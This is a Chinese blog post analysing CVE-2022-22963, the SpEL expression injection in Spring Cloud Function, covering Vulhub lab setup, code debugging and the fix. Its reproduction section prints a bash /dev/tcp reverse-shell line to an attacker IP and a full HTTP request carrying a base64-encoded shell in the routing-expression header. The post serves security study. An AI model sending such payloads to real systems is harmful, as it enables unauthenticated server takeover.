Java代码审计之SpEL表达式注入漏洞分析

文章目录

  • 前言
  • CVE-2022-22963
    • 漏洞简述
    • 环境搭建
    • 反弹shell
  • CVE漏洞调试分析
    • 本地搭建
    • 调试分析
    • 补丁分析
  • 总结

前言

表达式注入是 Java 安全中一类常见的能够注入命令并形成 RCE 的漏洞,而常见的表达式注入方式有 EL 表达式注入、SpEL 表达式注入和 OGNL 表达式注入等。本文将通过调试分析 CVE-2022-22963 漏洞来入门学习 SpEL 表达式注入漏洞的原理。

CVE-2022-22963

如 Vulhub官方文档所述:Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台。

漏洞简述

2022年3月,Spring Cloud 官方修复了一个 Spring Cloud Function 中的 SPEL 表达式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的 “spring.cloud.function.routing-expression” 参数作为 SpEL 表达式进行处理,造成了 SpEL 表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。

【受影响版本】3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

参考链接:

  1. CVE-2022-22963 漏洞描述;
  2. CVE-2022-22963 官方漏洞修复方案;
  3. Spring Cloud Function SPEL表达式注入漏洞分析;

环境搭建

本文使用 Ubuntu 官方虚拟机 + Vulhub CVE 漏洞靶场环境 复现该漏洞。以前的漏洞复现文章已经写过 Vulhub 靶场的使用步骤:渗透测试-Openssl心脏出血漏洞复现。

整体复述一下,Ubuntu 上安装 Docker 环境和搭建 Vulhub 靶场的步骤:

1、安装docker:
   apt-get install -y docker.io
2、安装docker-compose:
   pip install docker-compose
3、启动docker后台服务:
   sudo service docker start
4、将当前用户加入docker组
   sudo usermod -aG docker $USER
5、配置 docker 加速器(提高容器下载速度):
   https://blog.csdn.net/feiying0canglang/article/details/126491715
6、下载vulhub漏洞目录:
   git clone https://github.com/vulhub/vulhub.git
7、进入想要复现的漏洞对应文件夹:
   cd ~/vulhub/struts2/s2-048/(示例路径)
8、以root身份执行以下命令开始运行漏洞容器:
   docker-compose up -d

回顾 Docker 用法请参考历史博文:渗透测试-Docker容器。

【推荐】提高 Docker 镜像下载速度请参考:Docker–提高下载速度的方法。

此处顺便再简单总结下 Docker 常用命令:

目的命令
在Docker公用仓库搜索镜像docker search bwapp(容器镜像名)
从Docker公用仓库拉取镜像docker pull raesene/bwapp(远程镜像路径)
返回本地Docker容器镜像信息docker images
将镜像运行为一个真正在运行的容器docker run -d -p 8080:80 本地容器镜像名
查看正在运行的容器docker ps
查看所有容器(无论是否正在运行)docker ps -a
查看指定容器的详细信息docker inspect 容器名或id
进入容器的shell交互模式docker exec -i -t 容器id bash
停止正在运行的容器docker stop 容器id
重启本地已停止运行的容器docker start 容器id
强制删除本地容器docker rm -f 容器ID

Ubuntu 虚拟机成功搭建环境如下:
在这里插入图片描述
物理机访问 Docker 服务(http://192.168.171.129:8080/):
在这里插入图片描述

反弹shell

先说下这个漏洞产生的原因:如果在 /functionRouter 的 POST 请求头中添加一个 spring.cloud.function.routing-expression 参数,Spring Cloud Function 会直接将参数值带入 SpEL 中查询导致 SpEL 注入。

那我们直接在 POST 请求中发送反弹 Shell 的命令即可,此处使用同一局域网中的 Kali 虚拟机作为攻击机(192.168.171.128):

bash -i >& /dev/tcp/192.168.171.128/6666 0>&1

但是需要使用 reverse-shell 在线工具 将上述反弹 shell 的命令进行 Base64 编码(具体原因请参见:Java反弹shell小记):
在这里插入图片描述
直接发送报文:

POST /functionRouter HTTP/1.1
Host: 192.168.171.129:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}")
Connection: close
Content-Length: 6

test

在这里插入图片描述

【题外话】此处顺便补充一个小技巧,BurpSuite 如果显示字体模糊、分辨率不佳的情况下(比如此图,伤眼睛啊……),可以在桌面快捷方式右键选择“属性”,在兼容性中选择如下配置项后重启即可解决(效果可参见下文另外的 Burp 截图):
在这里插入图片描述
此时 Kali 攻击机可获得反弹的 Shell(其中 1832.168.171.129 正是 Ubuntu 靶机的局域网 IP):在这里插入图片描述
至此,我们已成功复现该漏洞,通过 SpEL 注入实现了 RCE 远程命令执行。

最后,结束 Ubuntu 虚拟机靶场容器环境的运行:
在这里插入图片描述

CVE漏洞调试分析

简单的复现漏洞并不是目的,我们的目的是从历史 CVE 漏洞中分析根因,并尽可能能够实现在白盒代码审计实战中做到举一反三。

本地搭建

此处采用本地 IDEA 新建 Spring 项目的方式来搭建漏洞环境。

不想折腾的话可以直接在 Github 获取来源的漏洞环境项目:Spring-Cloud-Function-Spel。

1、由于我使用的是社区版的 IDEA(穷,用不起旗舰版),没有 Spring Initializer 功能,无法快捷创建 Spring Boot 项目,只能手动去 https://start.spring.io/ 把工程创建好之后下载下来:
在这里插入图片描述
在这里插入图片描述
2、下载完是个 demo.zip 压缩包工程文件,解压缩后使用 IDEA 社区版 正常 open project 即可,IDEA 会自动下载 pom.xml 配置的依赖包到本地 Maven 仓库:
在这里插入图片描述

修改 IDEA Maven 本地仓库和远程仓库配置的话,请参见:Intellij IDEA配置Maven(内置Maven和修改本地仓库地址和阿里云中央仓库)。

3、接着在 pom.xml 中引入 spring-boot-starter-webspring-cloud-function-web(存在漏洞的 3.2.2 版本):

<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
	<groupId>org.springframework.cloud</groupId>
	<artifactId>spring-cloud-function-web</artifactId>
	<version>3.2.2</version>
</dependency>

在这里插入图片描述
4、接着在 application.properties 配置文件中添加spring.cloud.function.definition=functionRouter,并修改服务端口为 8081(默认为 8080):
在这里插入图片描述
5、然后即可到 main 函数启动 Spring 项目:
在这里插入图片描述
在这里插入图片描述

然而发现以下数据包并无法触发漏洞:

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Connection: close
Content-Length: 4

test

6、最终发现需要修改 pom.xml 配置文件中如下组件版本信息,才能成功触发漏洞(坑啊……):

   <parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.6.5</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>

在这里插入图片描述
在这里插入图片描述

调试分析

需要在上述命令执行处下断点,看下程序执行流程。

SpringCloud Function 之所以能自动将函数建立 http 端点,是因为在包 mvc.FunctionController 中使用 /** 监听了 GET/POST 类型的所有端点:
在这里插入图片描述
故我们在org.springframework.cloud.function.web.mvc.FunctionController#post方法上下断点进行跟踪,程序会获取 body 中的参数,并传入 processRequest 方法中:
在这里插入图片描述

1、接着 processRequest 函数将判断当前请求是否为 RoutingFunction,并将请求的内容和 Header 头编译成 Message 带入到 FunctionInvocationWrapper.apply 方法中:
在这里插入图片描述
2、跟进FunctionInvocationWrapper.apply函数,随后又进入其中的 doApply 方法:
在这里插入图片描述
3、跟进 doApply 函数,会执行到如下 else 分支,进入 RoutingFunction 类的 apply 方法:
在这里插入图片描述
4、继续 step into 跟进 RoutingFunction 类的 apply 方法,发现将进入到org.springframework.cloud.function.context.config.RoutingFunction#route方法中:
在这里插入图片描述
5、跟进 route 函数,发现随后进入的是 else if 分支,由于 exp 请求中的 http 头spring.cloud.function.routing-expression 不为空,则传入其值到functionFromExpression 方法:
在这里插入图片描述
6、step into 跟进 functionFromExpression 方法,发现其使用 SpelExpressionParser 解析了 SpEL 表达式,且调用了 expression.getValue 导致最终触发 SpEL 表达式注入:
在这里插入图片描述
在这里插入图片描述
而此处的 evalContext 又采取了默认的 StandardEvaluationContext(在不指定 EvaluationContext 的情况下默认也采用的是StandardEvaluationContext),而它包含了 SpEL 的所有功能,在允许用户控制输入的情况下 SpEL 表达式是可以操作类及其方法的,可以通过类类型表达式 T(Type) 或者直接 new 来调用任意对象的任意方法,成功造成任意命令执行。
在这里插入图片描述
在这里插入图片描述

跟踪到这已经完成整个 SpEL 表达式注入的触发流程了,后续就不用再跟下去了。至此可以发现,只要通过环境变量、配置文件或者参数等方式配置为 spring.cloud.function.definition=functionRouter, 即可触发 SpEL 注入。

补丁分析

SpringCloud 官方已经修复了此问题,在 GitHub 上给出了修复 commit:

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

和其他 SpEL 注入修复方式一样,修补代码核心是在 functionFromExpression 函数中,使用了安全的 SimpleEvaluationContext 替换不安全的 StandardEvaluationContext
在这里插入图片描述
在这里插入图片描述
上述代码增加判断带解析的 SpEL 表达式来源是否是 header,如果是 header 就使用属于 SimpleEvaluationContextheaderEvalContext,不是 header 才会使用属于 StandardEvaluationContextevalContext

总结

本文重点分析了 CVE-2022-22963,总结来说就是 Spring Cloud Function 相关版本提供的 spring.cloud.function.routing-expression 有解析Spel表达式的能力,而且使用的是默认的 StandardEvaluationContext,导致存在 SpEL 表达式注入。恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL 表达式,最终执行任意命令,获取服务器权限。

本文参考文章:

  1. SPEL表达式注入-入门篇;
  2. Java代码审计之SpEL表达式注入;
  3. Spring Cloud Function Spel表达式注入;
  4. SpringCloud Function SpEL注入漏洞分析(CVE-2022-22963);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/223985.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Docker】从零开始:17.Dockerfile基本概念

【Docker】从零开始&#xff1a;17.Dockerfile 概述1.什么是Dockerfile2.Dockerfile构建三大步骤3.Docker执行Dockerfile流程 一张图理解Dockerfile常用保留指令~FROM~~MAINTAINER~~RUN~两种格式 ~EXPOSE~~WORKDIR~~USER~~ENV~~ADD~~COPY~两种格式 ~VOLUME~~CMD~两种格式注意 ~…

在Spring Cloud中使用组件Ribbon和Feign,并分别创建子模块注册到Eureka中去

ok&#xff0c;在上篇文章中我们讲了在Spring cloud中使用Zuul网关&#xff0c;这篇文章我们将Spring Cloud的五大核心组件的Ribbon和Feign分别创建一个微服务模块。 题外话&#xff0c;本篇博客就是配置子模块&#xff0c;或者说是微服务&#xff0c;然后将微服务正式启动之前…

竞赛选题 题目:基于深度学习的中文对话问答机器人

文章目录 0 简介1 项目架构2 项目的主要过程2.1 数据清洗、预处理2.2 分桶2.3 训练 3 项目的整体结构4 重要的API4.1 LSTM cells部分&#xff1a;4.2 损失函数&#xff1a;4.3 搭建seq2seq框架&#xff1a;4.4 测试部分&#xff1a;4.5 评价NLP测试效果&#xff1a;4.6 梯度截断…

多人聊天Java

服务端 import java.io.*; import java.net.*; import java.util.ArrayList; public class Server{public static ServerSocket server_socket;public static ArrayList<Socket> socketListnew ArrayList<Socket>(); public static void main(String []args){try{…

区块链技术在数字营销中有哪些应用?

用于所有加密货币交易的数字账本称为区块链。随着更多图像被添加到“就绪”块中&#xff0c;它将继续扩展。每个区块都包含交易信息、时间戳和前一个区块的加密签名。为了辨别真正的比特币交易所和试图重印已经在其他地方发布的硬币&#xff0c;比特币节点使用区块链。 随着在…

点击el-tree小三角后去除点击后的高亮背景样式,el-tree样式修改

<div class"videoTree" v-loading"loadingTree" element-loading-text"加载中..." element-loading-spinner"el-icon-loading" element-loading-background"rgba(0, 0, 0, 0.8)" > <el-tree :default-expand-all&q…

多元线性回归(一)

基本概念 线性回归时机器学习中监督学习下的一种算法。回归问题主要关注是因变量&#xff08;需要预测的值&#xff0c;可以是一个也可以是多个&#xff09;和一个或多个值型的自变量&#xff08;预测变量&#xff09;之间的关系。 需要预测的值&#xff1a;即目标变量&#x…

智能优化算法应用:基于白冠鸡算法无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于白冠鸡算法无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于白冠鸡算法无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.白冠鸡算法4.实验参数设定5.算法结果6.参考文献7.…

dockerfile介绍与使用

文档&#xff1a;https://docs.docker.com/engine/reference/builder/ dockerfile介绍 dockerfile是什么 Dockerfile是一个创建镜像所有命令的文本文件, 包含了一条条指令和说明, 每条指令构建一层, 通过 docker build命令,根据Dockerfile的内容构建镜像,因此每一条指令的内…

【从0配置JAVA项目相关环境1】jdk + VSCode运行java + mysql + Navicat + 数据库本地化 + 启动java项目

从0配置JAVA项目相关环境 写在最前面一、安装Java的jdk环境1. 下载jdk2. 配置jdk3. 配置环境变量 二、在vscode中配置java运行环境1. 下载VSCode2. 下载并运行「Java Extension Pack」 三、安装mysql1.官网下载MySQL2.开始安装如果没有跳过安装成功 3.配置MySQL Server4.环境变…

史上最全,资深老鸟整理-性能测试面试题汇总

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 1、什么是负载测试…

git 分支的创建与删除

一 创建本地分支 git checkout -b codetwo //创建本地分支 codetwo git branch newcode //创建本地分支newcode创建的分支如下图&#xff1a; 用checkout的方式创建&#xff0c;只是创建的同时还切换到了这个本地分支 二 创建远程分支 git branch newcode //创…

【开源】基于JAVA语言的木马文件检测系统

项目编号&#xff1a; S 041 &#xff0c;文末获取源码。 \color{red}{项目编号&#xff1a;S041&#xff0c;文末获取源码。} 项目编号&#xff1a;S041&#xff0c;文末获取源码。 目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 数据中心模块2.2 木马分类模块2.3 木…

一次整活,暴涨1100万播放!B站内容风向吹到哪了?

高能整活&#xff0c;千万曝光 “我准备打造一个钢铁的地下安全屋。” B站UP主手工耿近期整了一个大活&#xff0c;脑洞大到让B站用户不停地惊掉下巴。 UP主手工耿在B站拥有776.7万粉丝&#xff0c;一直以来以制造一些“看起来没用”的电焊工艺产品为内容看点&#xff0c;灵…

IO多路复用(新)

1.前景回顾 无论是阻塞IO还是非阻塞IO&#xff0c;用户应用在一阶段都需要调用recvfrom来获取数据&#xff0c;差别在于无数据时的处理方案&#xff1a; 如果调用recvfrom时&#xff0c;恰好内核没有数据&#xff0c;那么阻塞IO会使用户进程阻塞&#xff0c;非阻塞IO使CPU进行空…

C语言面试之旅:掌握基础,探索深度(面试实战之单片机——IO)

梦想和自由一样&#xff0c;都有代价&#xff0c;但都值得。 ----小新 引言 单片机是一种微控制器&#xff0c;它包含一个处理器、存储器、定时器和I/O端口等。I/O端口是单片机与外部设备进行通信的接口。通过I/O端口&#xff0c;外部设备可以输入和输出数据到单片机中。 在单…

华为对优秀项目经理的三点要求

大家好&#xff0c;我是老原。 一位优秀的项目经理应该肩负什么样的职责和使命&#xff1f; 华为轮值董事长徐直军在《致研发全体PL的一封信》中表示&#xff1a;Project Leader&#xff08;项目经理&#xff09;要从一个独立贡献者转变成为团队贡献者&#xff0c;项目经理带…

【从零认识ECS云服务器 | 快速上线个人网站】二、使用ECS云服务器

第二章 使用ECS 2.1 获取ECS 方式一&#xff1a;通过试用中心免费领取ECS实例 满足以下全部条件的阿里云用户&#xff0c;可免费试用云服务器ECS&#xff1a; 阿里云注册会员用户并完成阿里云企业认证或个人认证用户。申请用户是云服务器ECS产品的新用户&#xff0c;可以申…

电源滤波器如何检测?ATECLOUD-POWER电源自动测试软件如何助力?

电源滤波器常用来对电源中的纹波和干扰信号进行滤波&#xff0c;从而确保元器件不受损坏&#xff0c;是保证系统稳定性的重要方法。因此电源滤波器测试是非常重要的&#xff0c;通过检测来评估其质量、性能和稳定性&#xff0c;从而使电源滤波器可以稳定工作&#xff0c;进行滤…

UniApp H5 跨域代理配置并使用(配置manifest.json、vue.config.js)

UniApp 运行到浏览器的时候&#xff0c;接口会跨域报错&#xff0c;这里通过两种方式解决&#xff0c;第一&#xff1a;修改Uniapp自带的manifest.json 源码视图并进行配置h5设置。第二&#xff1a;在项目根目录新建vue.config.js并配置代理。 二选一即可。 修改或调整配置文件…